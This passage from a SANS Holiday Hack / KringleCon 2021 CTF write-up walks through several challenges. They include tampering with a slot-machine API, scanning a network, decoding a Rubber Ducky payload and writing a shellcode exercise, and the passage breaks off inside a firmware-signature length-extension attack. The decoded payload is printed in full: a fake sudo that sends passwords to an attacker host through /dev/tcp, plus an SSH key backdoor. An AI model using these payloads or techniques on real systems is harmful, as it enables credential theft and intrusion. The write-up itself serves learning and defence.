Cache-Control: no-cache, private
Content-Type: application/json
X-Ratelimit-Limit: 60
X-Ratelimit-Remaining: 59
Access-Control-Allow-Origin: *
Via: 1.1 google
Alt-Svc: clear

{"success":false,"message":"The betamount must be greater than or equal 0."}

So I then tried with the cpl parameter:

POST /api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin HTTP/1.1
Host: slots.jackfrosttower.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://slots.jackfrosttower.com/uploads/games/frostyslots-206983/index.html
Content-Type: application/x-www-form-urlencoded
X-Ncash-Token: 27d2b871-d3c4-42f1-86f0-008c7c74e6bf
Origin: https://slots.jackfrosttower.com
Content-Length: 29
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

betamount=1&numline=20&cpl=-1

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2021 13:44:35 GMT
Date: Mon, 13 Dec 2021 13:44:35 GMT
X-Powered-By: PHP/7.4.26
Cache-Control: no-cache, private
Content-Type: application/json
X-Ratelimit-Limit: 60
X-Ratelimit-Remaining: 59
Access-Control-Allow-Origin: *
Via: 1.1 google
Alt-Svc: clear

{"success":true,"data":{"credit":120,"jackpot":0,"free_spin":0,"free_num":0,"scaler":0,"num_line":20,"bet_amount":1,"pull":{"WinAmount":-0,"FreeSpin":0,"WildFixedIcons":[],"HasJackpot":false,"HasScatter":false,"WildColumIcon":"","ScatterPrize":0,"SlotIcons":["wild","icon3","icon2","icon10","icon5","icon7","wild","icon3","icon9","icon8","icon4","icon3","icon9","scatter","icon3"],"ActiveIcons":[],"ActiveLines":[]},"response":"Wow!"},"message":"Spin success"}

It worked! Setting a negative cpl transforms our losses in wins, and our credit bank is now 120. Let's set a large negative cpl, like -1000, and see what happens:

POST /api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin HTTP/1.1
Host: slots.jackfrosttower.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://slots.jackfrosttower.com/uploads/games/frostyslots-206983/index.html
Content-Type: application/x-www-form-urlencoded
X-Ncash-Token: 27d2b871-d3c4-42f1-86f0-008c7c74e6bf
Origin: https://slots.jackfrosttower.com
Content-Length: 32
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

betamount=1&numline=20&cpl=-1000

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2021 13:45:06 GMT
Date: Mon, 13 Dec 2021 13:45:06 GMT
X-Powered-By: PHP/7.4.26
Cache-Control: no-cache, private
Content-Type: application/json
X-Ratelimit-Limit: 60
X-Ratelimit-Remaining: 59
Access-Control-Allow-Origin: *
Via: 1.1 google
Alt-Svc: clear

{"success":true,"data":{"credit":20120,"jackpot":0,"free_spin":0,"free_num":0,"scaler":0,"num_line":20,"bet_amount":1,"pull":{"WinAmount":-0,"FreeSpin":0,"WildFixedIcons":[],"HasJackpot":false,"HasScatter":false,"WildColumIcon":"","ScatterPrize":0,"SlotIcons":["icon1","icon4","icon1","icon2","icon9","icon3","icon8","icon9","icon1","icon4","icon10","icon5","icon6","icon8","icon9"],"ActiveIcons":[],"ActiveLines":[]},"response":"I'm going to have some bouncer trolls bounce you right out of this casino!"},"message":"Spin success"}

Ding, ding, ding! Our credit bank is now 20120. Sorry, Jack, but the house lost this time. Jack Frost is not happy, here's what the data.response says: I'm going to have some bouncer trolls bounce you right out of this casino!.

Objective 5:

Jewel Loggins's Cranberry Pi Challenge

We must find a password to run the candy striper machine. This password is stored on another machine in the network. Let's take a look at our network interface:

Tools:

* netcat
* nmap
* ping / ping6
* curl

Welcome, Kringlecon attendee! The candy striper is running as a service on
this terminal, but I can't remember the password. Like a sticky note under the
keyboard, I put the password on another machine in this network. Problem is: I
don't have the IP address of that other host.

Please do what you can to help me out. Find the other machine, retrieve the
password, and enter it into the Candy Striper in the pane above. I know you
can get it running again!


elf@dd3a06de993f:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
11066: eth0@if11067: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:a8:a0:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.168.160.3/20 brd 192.168.175.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 2604:6000:1528:cd:d55a:f8a7:d30a:2/112 scope global nodad
       valid_lft forever preferred_lft forever
    inet6 fe80::42:c0ff:fea8:a003/64 scope link
       valid_lft forever preferred_lft forever

Uh, looks like we have an IPv4 address and an IPv6 address. The network mask of our IPv6 address is quite large, so scanning across it would be too long.

Let's focus on the IPv4 network for now:

elf@dd3a06de993f:~$ nmap -sP 192.168.160.3/20
Starting Nmap 7.70 ( https://nmap.org ) at 2021-12-31 13:34 UTC
Nmap scan report for 192.168.160.1
Host is up (0.00028s latency).
Nmap scan report for ipv6-server.ipv6guest.kringlecastle.com (192.168.160.2)
Host is up (0.00031s latency).
Nmap scan report for dd3a06de993f (192.168.160.3)
Host is up (0.00016s latency).
Nmap done: 4096 IP addresses (3 hosts up) scanned in 68.64 seconds

We have what looks like an IPv6 server! Let's scan it using nmap with its -6 option:

elf@dd3a06de993f:~$ nmap -6 ipv6-server.ipv6guest.kringlecastle.com
Starting Nmap 7.70 ( https://nmap.org ) at 2021-12-31 13:36 UTC
Nmap scan report for ipv6-server.ipv6guest.kringlecastle.com (2604:6000:1528:cd:d55a:f8a7:d30a:e405)
Host is up (0.000088s latency).
Other addresses for ipv6-server.ipv6guest.kringlecastle.com (not scanned): 192.168.160.2
Not shown: 998 closed ports
PORT     STATE SERVICE
80/tcp   open  http
9000/tcp open  cslistener

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

Two TCP ports. Let's start with the web port, using curl -6:

elf@dd3a06de993f:~$ curl -6 http://ipv6-server.ipv6guest.kringlecastle.com
<html>
<head><title>Candy Striper v6</title></head>
<body>
<marquee>Connect to the other open TCP port to get the striper's activation phrase!</marquee>
</body>
</html>

Alright, we're told to connect to the other open TCP port. Since we don't know the service, we'll connect using netcat (still with the -6 option):

elf@dd3a06de993f:~$ netcat -6 ipv6-server.ipv6guest.kringlecastle.com 9000
PieceOnEarth

The password to start the candy striper is PieceOnEarth.

Strange USB Device

Apparently, the elves found a strange USB device, and we're asked to help with the investigation. Let's talk to Morcel Nougat:

Morcel Nougat says

Hello and welcome to the speaker _Un_Preparedness Room!

I'm Morcel Nougat, elf extraordinaire.

I've heard the talks at the other con across the way are a bit... off.

I really don't think they have the right sense about what makes for a wonderful holiday season. But, anyway!

Say, do you know anything about USB Rubber Duckies?

I've been playing around with them a bit myself.

Please see what you can do to help solve the Rubber Ducky Objective!

Oh, and if you need help, I hear Jewel Loggins, on this floor outside this room, has some experience.

So, this USB device seems to be a Rubber Ducky, a USB drive that mimicks a keyboard and can simulate keyboard strokes. A favorite for every pentester doing physical engagements. Let's see what we can find:

A random USB device, oh what could be the matter?
It seems a troll has left this, right on a silver platter.
Oh my friend I need your ken, this does not smell of attar.
Help solve this challenge quick quick, I shall offer no more natter.

Evaluate the USB data in /mnt/USBDEVICE.

elf@8d20656cc784:~$

Let's see what's inside /mnt/USBDEVICE:

elf@8d20656cc784:~$ ls /mnt/USBDEVICE
inject.bin

Just one file, inject.bin. According to the documentation, this contains the Rubber Ducky payload. However, it's encoded, and therefore not directly human-readable. Let's see in our home folder if anything can help:

elf@8d20656cc784:~$ ls
mallard.py*
elf@8d20656cc784:~$ ./mallard.py
usage: mallard.py [-h] [--file FILE] [--no_analyze] [--output_file OUTPUT_FILE]
                  [--analysis_file ANALYSIS_FILE] [--debug]

optional arguments:
  -h, --help            show this help message and exit
  --file FILE, -f FILE  The file to decode, default: inject.bin
  --no_analyze, -A      Include this switch to turn off analysis of the duckyfile
  --output_file OUTPUT_FILE, -o OUTPUT_FILE
                        File to save decoded ducky script to. Default will print duckyfile to
                        screen.
  --analysis_file ANALYSIS_FILE
                        Location to output analysis. Default will print analysis to screen.
  --debug               Enable Debug Logging.

Just our luck! There's a script called mallard.py that seems to be able to decode inject.bin files. Let's try it out:

elf@8d20656cc784:~$ ./mallard.py --file /mnt/USBDEVICE/inject.bin

ENTER
DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 500
GUI -
GUI -
GUI -
GUI -
GUI -
STRING  /bin/bash
ENTER
DELAY 500
STRING mkdir -p ~/.config/sudo
ENTER
DELAY 200
STRING echo '#!/bin/bash > ~/.config/sudo/sudo
ENTER
STRING /usr/bin/sudo $@
ENTER
STRING echo -n \"[sudo] password for $USER: \"
ENTER
STRING read -s pwd
ENTER
STRING echo
ENTER
STRING echo \"$pwd\" | /usr/bin/sudo -S true 2>/dev/null
ENTER
STRING if [ $? -eq 1 ]
ENTER
STRING then
ENTER
STRING echo \"$USER:$pwd:invalid\" > /dev/tcp/trollfun.jackfrosttower.com/1337
ENTER
STRING echo \"Sorry, try again.\"
ENTER
STRING sudo $@
ENTER
STRING else
ENTER
STRING echo \"$USER:$pwd:valid\" > /dev/tcp/trollfun.jackfrosttower.com/1337
ENTER
STRING echo \"$pwd\" | /usr/bin/sudo -S $@
ENTER
STRING fi
ENTER
STRING fi' > ~/.config/sudo/sudo
ENTER
DELAY 200
STRING chmod u+x ~/.config/sudo/sudo
ENTER
DELAY 200
STRING echo \"export PATH=~/.config/sudo:$PATH\" >> ~/.bash_profile
ENTER
DELAY 200
STRING echo \"export PATH=~/.config/sudo:$PATH\" >> ~/.bashrc
ENTER
DELAY 200
STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash
ENTER
DELAY 600
STRING history -c && rm .bash_history && exit
ENTER
DELAY 600
GUI q

A nasty payload! It seems the Rubber Ducky is configured to open the terminal application, and then create a malicious script in ~/.config/sudo/sudo that sends passwords to trollfun.jackfrosttower.com:1337. The PATH variable is then modified so that this malicious sudo is called instead of the legitimate one.

There's also some encoded payload that is executed (see the highlighted part). Let's decode it:

$ echo '==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ' | rev | base64 -d
echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com' >> ~/.ssh/authorized_keys

This payload adds a backdoor to the ~/.ssh/authorized_keys file, so that the attacker can get access to the compromised box with their own SSH key. The associated username is ickymcgoop.

Objective 6:

Chimney Scissorsticks's Cranberry Pi Challenge

This Cranberry Pi Challenge is called Holiday Hero. Basically, two players must cooperate to fuel Santa's sleigh, by pressing the right keys at the right time, to the rythm of "Jingle Bells".

Player 1 controls the red and yellow buttons, by pressing down on "Q" and "W" respectively.
Player 2 controls the green and blue buttons, by pressing down on "E" and "R" respectively.

If you press at the right time, the sleigh's tank fuels up. If you press at a wrong moment, the sleigh's tank fuels down. You must get the tank fueled at least to 80% to win.

However, according to Chimney Scissorsticks, there is a way to play in single-user mode, by modifying two client-side variables, including one that is sent to the server.

If we take a look at the requests sent by our browser, we can see an interesting cookie:

GET /?challenge=hero&id=506bbc6c-5a16-4d9d-bd15-5a023bcbc732&username=useless&area=netwars&location=4,10 HTTP/1.1
Host: hero.kringlecastle.com
Cookie: HOHOHO=%7B%22single_player%22%3Afalse%7D
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://2021.kringlecon.com/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close

The cookie HOHOHO contains the URL-encoded string {"single_player":false}. We can modify this cookie with our browser developer tools, to change that to {"single_player":true}.

For the second variable, we can take a look at the script hosted at https://hero.kringlecastle.com/assets/js/holidayhero.min.js. It's been minified, but at the beginning of the file, we can see the following variable:

single_player_mode=!1

We can create a match-and-replace rule in Burp to set this variable to 1, so that the single-player mode is activated:

I also enabled Burp's default match-and-replace rules that force non-cached responses, so that my script modification is taken into account when I reload the game (the rules are commented with "Require non-cached response").

After this, we can launch the game and play it in single-player mode. In this mode, the green and blue tracks are played by the computer, we only have to play the red and yellow tracks.

Shellcode Primer

We're supposed to go to Jack Frost's office. However, the elavator seems to be out of order. You can take a look at Grody Goiterson's challenge to see how we can get it to work.

In Jack's office, we find a tutorial on how to write x64 shellcode. I won't explain how it works, because the tutorial does a great job on that front, so there's no need for me to re-type everything that is said over there. I recommend you carefully read the website, because I'll only give the answers to the different exercises.

1. Introduction

This exercise is just an introduction explaining how the website works, and presenting the different basic operations, such as mov, push, pop, call, and ret. We can just execute the example code to get to the next exercise.

2. Loops

This exercise explains how to write a loop in x64 assembly, using labels and the jnz operator. Like the first exercise, we juste have to execute the example code to move on.

3. Getting started

Alright, now we're going to start writing assembly! The instructions say:

This level currently fails to build because it has no code. Can you add a return statement at the end? Don't worry about what it's actually returning (yet!)

So let's add a ret at the end of the code:

; This is a comment! We'll use comments to help guide your journey.
; Right now, we just need to RETurn!
;
; Enter a return statement below and hit Execute to see what happens!

ret

We execute our code, which unlocks the next exercise.

4. Returning a Value

Our previous code did not return any value. Now, the instructions say:

For this level, can you return the number '1337' from your function?

We can add a mov to store a value in rax, the register used to store return values:

; TODO: Set rax to 1337
mov rax, 1337

; Return, just like we did last time
ret

This code unlocks the next exercise.

5. System Calls

Now we're moving on to syscalls, which are used to call kernel functions from our code. The instructions say:

For this challenge, we're going to call sys_exit to exit the process with exit code 99.

Can you prepare rax and rdi with the correct values to exit?"

The tutorial gives us a link to a list of available syscalls on Linux.

To call sys_exit, we see that we must set rax to 60, and put our error code in the rdi register. Let's do this!

; TODO: Find the syscall number for sys_exit and put it in rax
mov rax, 60

; TODO: Put the exit_code we want (99) in rdi
mov rdi, 99

; Perform the actual syscall
syscall

Our previous code allows us to unlock the next exercise.

6. Calling Into the Void

This exercise just crashes the assembly emulator, with the following code:

; Push this value to the stack
push 0x12345678

; Try to return
ret

When we execute this code, we can see that, after the ret, we get the following error message:

Execution crashed with a segmentation fault (SIGSEGV) @ 0x12345678

This means that ret tries to return to the address that is stored on the stack. This will be helpful for future exercises.

7. Getting RIP

The goal of this exercise is to use what we learn in the last one (i.e. that ret tries to return to the first address on the stack) to get the address of instructions in our code.

The trick is to use another instruction, call, that stores the next instruction's address on the stack. By using a label in our code and a call instruction, we can recover the address of a particular section of our code.

The instructions say:

For this exercise, can you pop the address after the call - the No Op (nop) instruction - into rax then return?

Let's do so:

; Remember, this call pushes the return address to the stack
call place_below_the_nop

; This is where the function *thinks* it is supposed to return
nop

; This is a 'label' - as far as the call knows, this is the start of a function
place_below_the_nop:

; TODO: Pop the top of the stack into rax
pop rax

; Return from our code, as in previous levels
ret

After our pop instruction, rax is equal to 0x13370005, which is the address of our nop instruction.

8. Hello, World!

In this exercise, we use the trick learn in exercise 7 to recover the address of a string in our code. The code is basically the same as exercise 7:

; This would be a good place for a call
call get_hello_world_address

; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0

; This would be a good place for a label and a pop
get_hello_world_address:
pop rax

; This would be a good place for a re... oh wait, it's already here. Hooray!
ret

9. Hello, World!!

Now that we can get addresses of strings stored in our code, the goal is to print them, using the sys_write syscall:

; TODO: Get a reference to this string into the correct register
call get_hello_world_address
db 'Hello World!',0

get_hello_world_address:

; Set up a call to sys_write
; TODO: Set rax to the correct syscall number for sys_write
mov rax, 1

; TODO: Set rdi to the first argument (the file descriptor, 1)
mov rdi, 1

; TODO: Set rsi to the second argument (buf - this is the "Hello World" string)
pop rsi

; TODO: Set rdx to the third argument (length of the string, in bytes)
mov rdx, 12

; Perform the syscall
syscall

; Return cleanly
ret

10. Opening a File

Now the goal is to open the file /etc/passwd. This is basically the same as the last exercise, but we're calling sys_open instead of sys_write:

; TODO: Get a reference to this string into the correct register
call get_file_name_addr
db '/etc/passwd',0

get_file_name_addr:

; Set up a call to sys_open
; TODO: Set rax to the correct syscall number
mov rax, 2

; TODO: Set rdi to the first argument (the filename)
pop rdi

; TODO: Set rsi to the second argument (flags - 0 is fine)
mov rsi, 0

; TODO: Set rdx to the third argument (mode - 0 is also fine)
mov rdx, 0

; Perform the syscall
syscall

; syscall sets rax to the file handle, so to return the file handle we don't
; need to do anything else!
ret

11. Reading a File

Finally, we're going to read the content of a file! The goal is to read the content of /var/northpolesecrets.txt. We're told to do so in four steps:

A call to sys_open to get a file descriptor to /var/northpolesecrets.txt.
A call to sys_read to read the file and put its content in rsp (i.e. the stack).
A call to sys_write to write the content of the file from the stack to stdout.
A call to sys_exit to exit properly.

Now, sys_read takes the length to read as an argument, but we don't know the length of the content of /var/northpolesecrets.txt beforehand. The tutorial tells us to "experiment to find the right count", and that "if it's a bit too high, that's perfectly fine". So let's hardcode a large value, such as 1000:

; TODO: Get a reference to this
call get_file_name_addr
db '/var/northpolesecrets.txt',0

; TODO: Call sys_open
get_file_name_addr:

pop rdi ; we get the address of the file name
mov rsi, 0 ; flag for sys_open
mov rdx, 0 ; mode for sys_open
mov rax, 2 ; syscall number for sys_open

syscall

; TODO: Call sys_read on the file handle and read it into rsp
mov rdi, rax ; we store the file descriptor in rdi
mov rsi, rsp ; we read the file to rsp, i.e. the stack
mov rdx, 1000 ; count value for sys_read
mov rax, 0 ; syscall number for sys_read

syscall

; TODO: Call sys_write to write the contents from rsp to stdout (1)
; NB: we don't have to set rdx because it was already set to 1000 during
; the syscall to sys_read
mov rdi, 1 ; file descriptor of stdout
mov rax, 1 ; syscall number for sys_write

syscall

; TODO: Call sys_exit
mov rdi, 1 ; return value for sys_exit
mov rax, 60 ; syscall number for sys_exit

syscall

We execute our code and get the content of /var/northpolesecrets.txt (plus some garbage that was on the stack) written to stdout! The content of the file is:

Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.

Objective 7: Printer Exploitation

In Jack's office, we find a printer that was stolen from Santa's castle. We're told to get shell access on this printer and to get the content of /var/spool/printer.log.

There isn't much we can do in the web interface, because most functionalities require a password to be accessed. However, we have access to the firmware update functionality. We can update the printer's firmware, and download the current firmware, exported as a JSON file called firmware-export.json:

{
  "firmware": "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",
  "signature": "2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97",
  "secret_length": 16,
  "algorithm": "SHA256"
}

So, we have the base64-encoded firmware. There's also a signature, and what are most likely parameters to generate said signature: the algorithm, and the length of the secret. Of course, the secret itself is not in the export.

Let's decode the firmware and see what form it has. I'm using jq because I'm a hipster, but you can just copy/paste the string to a file.

$ jq '.firmware' < firmware-export.json | tr -d '"' | base64 -d > firmware
$ file firmware
firmware: Zip archive data, at least v2.0 to extract

So, it's a ZIP archive. Let's extract it:

$ mv firmware{,.zip}
$ unzip firmware.zip
Archive:  firmware.zip
  inflating: firmware.bin
$ file firmware.bin
firmware.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped

It simply contains a 64-bit ELF executable called firmware.bin.

So, the idea would be to modify our firmware so that we can introduce a backdoor, update the printer, and get a shell. But, there is the small matter of the signature: the printer won't accept our malicious firmware if it's not properly signed. Let's take our original firmware-export.json and modify the signature field to see what happens:

Ha! We now know how the signature is computed: sha256(<secret> + raw_file_data). This is interesting, because this kind of signature schema is vulnerable to length extension attacks. This is because SHA256 follows the Merkle–Damgård construction. It's actually something I exploited in a previous CTF challenge.

Basically, if we know:

data
sha256(secret + data)
The length of secret

We can compute sha256(secret + data + modifier + additional_data). This would allow us to append data to the ZIP file. But how will that allow us to add a backdoor to the firmware? Well, ZIP files are analyzed backwards. Here's an explanation image from @corkami (him again):

This means that we can just add a malicious ZIP file at the end of our original firmware ZIP file. The malicious ZIP file will be parsed, and the original ZIP file will be ignored.

Here's some basic commands to check this fact out:

$ echo foo > foo.txt
$ echo bar > bar.txt
$ zip foo.zip foo.txt
  adding: foo.txt (stored 0%)
$ zip bar.zip bar.txt
  adding: bar.txt (stored 0%)
$ cat foo.zip bar.zip > concat.zip
$ rm foo.txt bar.txt
$ unzip concat.zip
Archive:  concat.zip
warning [concat.zip]:  168 extra bytes at beginning or within zipfile
  (attempting to process anyway)
 extracting: bar.txt
$ cat bar.txt
bar

It works! This means that we can now try to backdoor our ZIP file. I found a Python library called hlextend that can be used to perform hash length extension attacks against SHA1, SHA256, and SHA512. Perfect!

Here's the forging code (hlextend is written in Python 2, and so is this code, unfortunately):

#!/usr/bin/env python2

import sys
import json
import base64

import hlextend

def main():
    # Argument parsing
    if len(sys.argv) != 3:
        print 'usage: {} <firmware-export.json> <zip_file_to_append>'.format(sys.argv[0])
        sys.exit(1)

    # We parse the original firmware-export.json
    with open(sys.argv[1], 'rb') as f:
